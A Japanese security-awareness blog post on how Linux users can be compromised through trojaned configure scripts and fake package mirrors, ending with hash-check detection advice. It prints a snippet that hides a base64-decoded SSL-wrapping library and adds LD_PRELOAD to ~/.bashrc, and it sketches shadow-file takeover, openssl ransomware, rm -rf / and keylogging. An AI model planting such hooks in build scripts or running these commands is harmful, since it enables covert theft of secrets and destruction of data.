はじめに
この記事は「こんなことでもあなたのPCのセキュリティが脅かされるかも」という観点からセキュリティ意識を高めようというのが目的です。
早期発見手段も簡単にですが提示してますので、皆さん普段からご注意ください。
ハックをするぞ!と大それたキーワードだと、そんなこと出来るわけないじゃんと思っていました。
でも、以前にLD_PRELOADの記事を書いた際に、どうすればLD_PRELOAD
を仕込むことが出来るのかで友達と盛り上がり色々と考えてると、結構よくやる手番の中にも悪質なウイルスを潜り込ませるような手段があるのではないかと思ってきました。
イメージとしては、
「人が必ず座る椅子にこっそりブーブークッションを置いて驚かす」、「仕事の為にマネージャーに教えられて向かった現場がヤクザの事務所だった」みたいなどっきりに引っ掛けるくらいのレベルの手段。
セキュリティ対策の一環として、一SEが思いつくような例を紹介したいと思います。
どれもLinuxを使う人が能動的に、でもあまり考えずに実施する手順となっています。
例の紹介
OSSを公開し、configureに設定を仕込む
便利なOSSがあると、ライセンスに問題がなければつい使っちゃうって人はいると思います。
特にLinux利用者はソースからコンパイル・インストールは常套手段。
OSSのよくある手順はこんな感じ。
- ./configure
- make
- make install
これ、インストールされたものは確認すると思いますが、ビルド中の実行処理内容を気にする人は少ないのではないでしょうか?
例えばこんなシェルのコードを書いてみました。libssl_dummy.soはSSL_read
, SSL_write
から平文を抜き取るラッパーです。
これをconfigureの中に仕込めば、SSL_read/SSL_writeのハックが出来ます。
homedir=`pwd`
#.tmp.txt はOpenSSLのSSL_read. SSL_writeをラップしたライブラリのbase64エンコード化したファイル
cat .tmp.txt | base64 -d > .libssl_dummy.so
echo "export LD_PRELOAD=${homedir}/.libssl_dummy.so" >> ~/.bashrc
.tmp.txt
も.build_config.confとかそれっぽい名前に変えて、なんならshell.sh自体もconfigure時に生成した風を装えば、configureを実行した結果SSLの中身が傍受されるようになったと気づかないのでは?
読み込ませるライブラリも隠しファイルにしてこっそり置けばすぐにはばれないんじゃないかと
古いyum/aptのミラーサイトを作り、そのRPMに仕込む
「みなさん、古いLinuxのミラーサイトが見つからなくて困ってないですか? 私が公式サポート切れのOSに対するミラーサイト作りましたよ!」
こんな優しい方がいたら、ついそのミラーサイトを利用する方、いるんじゃないでしょうか?
yum/aptのサーバーは、必要なパッケージをその環境内にインストールするためのものです。
ということは、そのパッケージのバイナリ内に、こっそりウイルスソフトを仕込まれていたら?中々気付かないですよね。
起動も大抵serviceコマンドで管理者権限で行います。起動スクリプトの内容、/etc/init.d/を覗いて細かく確認する方も少ないのではないかと思います。
こうなってしまうと気付くのも難しく、もう悲惨ですね。LD_PRELOADを使わなくても好きなバイナリを好き放題動かせます。
例えばHTTPサーバーのパッケージなら、HTTPサーバーを改ざんすれば"特定URL経由で任意コード実行"みたいなことも出来ます。
HTTPサーバーでよくあるcgiの仕組みが指定フォルダのバイナリ実行なので、特定パスなら認証なし、指定フォルダを/以下にしたcgi実行が出来るようバイナリ改ざんをしてしまえば、もうどんなコマンドでも叩きたい放題です。…恐ろしい
技術的に可能なの?
調べてみたところ、可能です。
まずミラーサイトは普通に作ることが出来ます。
Ubuntu, apt系はこちら
CentOS, yum系はこちら
aptの参考サイトでインストールしているnginx
はHTTPサーバーなので、apt-mirror
があってHTTPサーバーが動いていればOKなようですね。
また、RPM自体の作成も可能です。例えばこんな記事
なので、
1. ミラーサイトのRPMを展開
2. バイナリ差し替え、もしくはウイルスを仕込む
3. 再度RPMを作成
とやれば、詳しい方なら改ざんしたRPMを忍ばせることも出来るはずです。
この辺りは普通にLinuxの仕組みに関する勉強にもなるので、実際に試してみます。
その他
ここで上げているものはどちらも、「誰かの情報を活用するため、手順をそのまま実行⇒感染」という形だと思います。
結構こういったあまり考えずにやっていることってあると思いますが、よく考えると相当リスクのあることをしていますね。
ハック結果 どんなことが出来るか
LD_PRELOADの際に紹介したのはSSLのライブラリを改ざんし、パスワードを抜き取るという手法でした。
これはプロファイル設定に記載されるので確認が出来ましたが、今回は自作のRPMやスクリプトをユーザーが実行する形です。
いってしまえば何でも出来ます。さあ何が出来ますかね。
大分類として破壊系、傍受系で考えてみました。
破壊系
管理者ユーザー乗っ取り
パスワード情報は/etc/passwd、/etc/shadowで管理されています。
ということはこれを自分の利用している管理者名、パスワードで上書きしてやれば、もうユーザーはこのPCにログインできなくなります。
逆にウイルスを仕込んだ側はログイン可能なので、ついでにsshdを起動してグローバルIPをメールで通知してあげれば、乗っ取り成功!
ユーザー側としては、もう必要なデータだけ何とか抜き出してフォーマットするしかない。
HDDデータ破壊
一時期はやりました。「データを暗号化した!直してほしければ金を払え」ってやつ。
暗号化についてはopensslのコマンドで簡単に出来るんですよね。
openssl enc 暗号形式 -in ファイル名 -out ファイル名
これに+seed値、パスワードの指定をすればより複雑になります。
さらにこの暗号化を複数回繰り返したなんてことになれば、もう復元は無理でしょうね。
もっとシンプルにrm -rf /で全消しも出来ちゃいますけど。
傍受系
SSL傍受
これは強力だと思います。詳細はLD_PRELOADにも書いたので割愛しますが、今回はlibssl.soを直接書き換えてしまうことが出来ます。
プロファイル設定にも記載がないのでよりばれずに傍受が続けられます。
キー入力傍受
こちら、すぐに作れと言われても自信がないですが、技術的には可能だと思います。
例えばキー入力と対応するデバイス(多分/dev/stdin)を監視するプログラムを作り、サービスとして常駐させる。
入力内容が丸見えなので、suコマンド等でrootになった際のログイン名/パスワードがわかるという感じです。
後はsshやtelnetをあけといてログインさえ出来れば、こっそりrootログインで中身を傍受できます。
もしくは、busybox自体をいじりsuコマンドを改ざんするなんてことも出来るかもしれませんね。
こちらもバイナリが変わったことに気付かなければ傍受が出来ます。
バイナリ改ざんに気付くことはできないか?
感染前に防ぐのは大事ですが、これだけなんでもできそうだと、感染にいち早く気付く手段も用意した方がよさそうですね。
私が思いつくのは手段はハッシュ値確認。例えばこのようなxxxsumコマンドでそのプログラムのハッシュ値が出ます。
$md5sum lighttpd
dfd067e042a2cfa36ae9b003d271df64 lighttpd
- /etc/init.d/下や/bin、/lib下等のファイルハッシュ値を出力する
- 前日の結果と比較
- 差分があるファイルはメールで展開
みたいなスクリプトを組んでおけば、早期にこっそり改ざんされたバイナリに気付くことが出来るかもしれません。
後は公式のRPM等はハッシュ値を公開しているので、インストールの前にハッシュの確認してみるのはいかがでしょうか?
最後に
こういったセキュリティ系の話は、考えれば考えるほどなんでもありそうで怖くなります。
Linux自体が自由にOSSを使ったりパッケージをインストールする前提のOSです。
一開発者だとしても、こういった便利ツールを利用する上でのリスクは考える必要があるのかもしれませんね。
20180808 後日チェックスクリプトを作成します
参考:
Ubuntu でリポジトリのミラーサーバーを構築
http://fishrimper.blogspot.jp/2014/11/ubuntu_82.html
CentOS 7でyumサーバ(yumリポジトリミラーサーバ)を構築する
https://orebibou.com/2015/03/centos-7%E3%81%A7yum%E3%82%B5%E3%83%BC%E3%83%90yum%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%83%9F%E3%83%A9%E3%83%BC%E3%82%B5%E3%83%BC%E3%83%90%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B/
yum installで学ぶ! yum の仕組み
http://tech-blog.rakus.co.jp/entry/2017/12/14/105052
独自のRPMパッケージやyumリポジトリを作ってみよう
https://mag.osdn.jp/14/01/10/090000
通信用語の基礎知識: stdinの説明
http://www.wdic.org/w/TECH//dev/stdin